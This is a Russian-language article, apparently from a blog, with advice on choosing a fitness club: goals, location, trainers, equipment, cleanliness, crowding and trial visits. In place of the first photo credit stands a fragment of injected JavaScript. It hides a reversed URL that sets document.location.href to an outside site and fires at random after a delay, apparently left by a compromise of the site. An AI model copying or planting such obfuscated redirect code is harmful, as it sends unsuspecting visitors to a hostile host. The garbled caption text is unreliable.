Как выбрать фитнес-клуб

Как часто вы покупали абонемент в фитнес-клуб, но уже через месяц забывали туда дорогу? Рассказываем, как найти тот зал, который станет вторым домом.

Решите, чем хотите заниматься

Прежде чем выбирать зал, ответьте себе на вопрос, зачем вообще вам это нужно. Возможно, вы хотите от фитнес-клуба чего-то одного и конкретного — тогда ищите это что-то одно. Если нравится плавать, выбирайте клуб с большим бассейном или просто бассейн. Если собираетесь заниматься в группе, узнайте, какого качества в клубе групповые тренировки. Если в планах — нарастить мышцы, оцените тренажёры и гантельный ряд. А если вам нужен не столько фитнес, сколько время для себя и детская комната для ребёнка… Ну вы поняли.

Как выбрать фитнес-клуб. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock

Выбирайте поближе к работе или дому

Допустим, вы решили воспользоваться акцией и купили абонемент в клуб на другом конце города. Наверняка пару раз вы туда съездите, потому что стимул пока силён. Но когда на улице будет минус тридцать и метель, захочется лишь завернуться в плед и смотреть сериал. В таких обстоятельствах только очень сильный духом человек поднимет себя с дивана, чтобы два часа добираться до фитнес-зала. Оптимально, когда клуб находится максимум в пятнадцати минутах от дома или работы.

Узнайте, куда ходят друзья, и ходите с ними (или заманите друзей в свой зал)

Это совет не о том, как слушать других, а о мотивации. Путь к фигуре мечты не должен быть полным страданий. Когда рядом тот, кто подставит плечо после становой и кому можно пожаловаться на отсутствие прогресса, трудности переносить легче. Главное — не забывать о цели: в зал вы всё-таки пришли тренироваться. Возможно, ради приятной компании вы даже будете готовы добираться до зала чуть дольше.

Как выбрать фитнес-клуб. Изображение номер 2

Оцените тренеров и оснащённость клуба

Тренерский состав — основа любого клуба. Опытный тренер даже посредственную качалку превратит в фитнес-храм. В идеале тренер разбирается в физиологии, анатомии и имеет профильное образование, но на деле всё неоднозначно. Лучше оценить тренера в деле и посмотреть, как он работает с подопечными. Хороший тренер составляет программу под ваши цели и уровень подготовки.  

 

Татьяна Денискина

директор фитнес-студии «Секция»

— Можно прочитать о бэкграунде тренера (на сайтах многих фитнес-клубов есть информация о тренерах. — Прим. ред.). Если это спортсмен, он как минимум знает анатомические особенности и многое о тренировках. Но тут есть нюансы: многие спортсмены, особенно действующие, тренируют так, как будто готовят профессионалов. Ещё можно смотреть на сертификаты: что тренер окончил, какие тренинги прошёл. Но на самом деле выбрать тренера сложно. Я советую пообщаться с менеджерами клуба и высказать им свои пожелания. Они заинтересованы в том, чтобы вы остались, и предложат лучший вариант.

С оснащённостью зала всё просто. Чем больше в клубе тренажёров, гантелей и прочего оборудования, тем лучше. Это актуально для всех зон: кардио, силовых тренировок и зала групповых программ. За пределами самого зала обратите внимание на раздевалки: достаточно ли там шкафчиков, насколько надёжные в них замки. Ещё проверьте, выдают ли в клубе полотенца и есть ли там кулер — полотенце и воду можно приносить с собой, но не всем это удобно.

Проверьте чистоту, качество вентиляции, загруженность зала

Хорошая вентиляция обязательна для любого фитнес-клуба. В зале должно быть прохладно и свежо. При первом посещении снимите верхнюю одежду и убедитесь, что там комфортно находиться. Если чувствуете запах пота и вам душно, уходите и не возвращайтесь — заниматься в таком зале невыносимо.

Чистота для зала тоже важна. Грязный пол, липкие тренажёры, плесень в душевых — это стоп-факторы. Качки со стажем могут сказать, что своей лучшей формы они добивались в задрипанных подвальных качалках. Но стоит ли платить за такую качалку — большой вопрос. Мысль о посещении клуба не должна портить настроение.

В некоторых популярных клубах к тренажёрам выстраиваются очереди. Если не хотите воевать за дорожки и штанги, убедитесь, что в зале свободно даже в вечерние часы. Чтобы проверить загруженность, придите в клуб в то время, в какое вы собираетесь его посещать.

Общая атмосфера клуба тоже играет роль: это все те нюансы, которые сначала кажутся мелочами, но потом выходят на передний план. Например, вас раздражает музыка, играющая в клубе. На тренировках она, скорее всего, будет раздражать ещё сильнее. Атмосфера — это про личные предпочтения.  

Сначала попробуйте, потом покупайте

Многие фитнес-клубы можно один раз посетить бесплатно и уже после этого решить, покупать ли абонемент. Так вы увидите тренеров в деле и сами узнаете все плюсы и минусы зала. Нет гарантии, что потом всё будет идеально, но это какая-никакая страховка.

Как выбрать фитнес-клуб. Изображение номер 3

Статьи по теме

7 самых красивых и необычных фитнес-клубов в мире

Как вести себя в фитнес-клубе: 15 правил джентльмена

9 самых необычных фитнес-клубов в мире

Как выбрать класс для йоги. Советы инструкторов

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector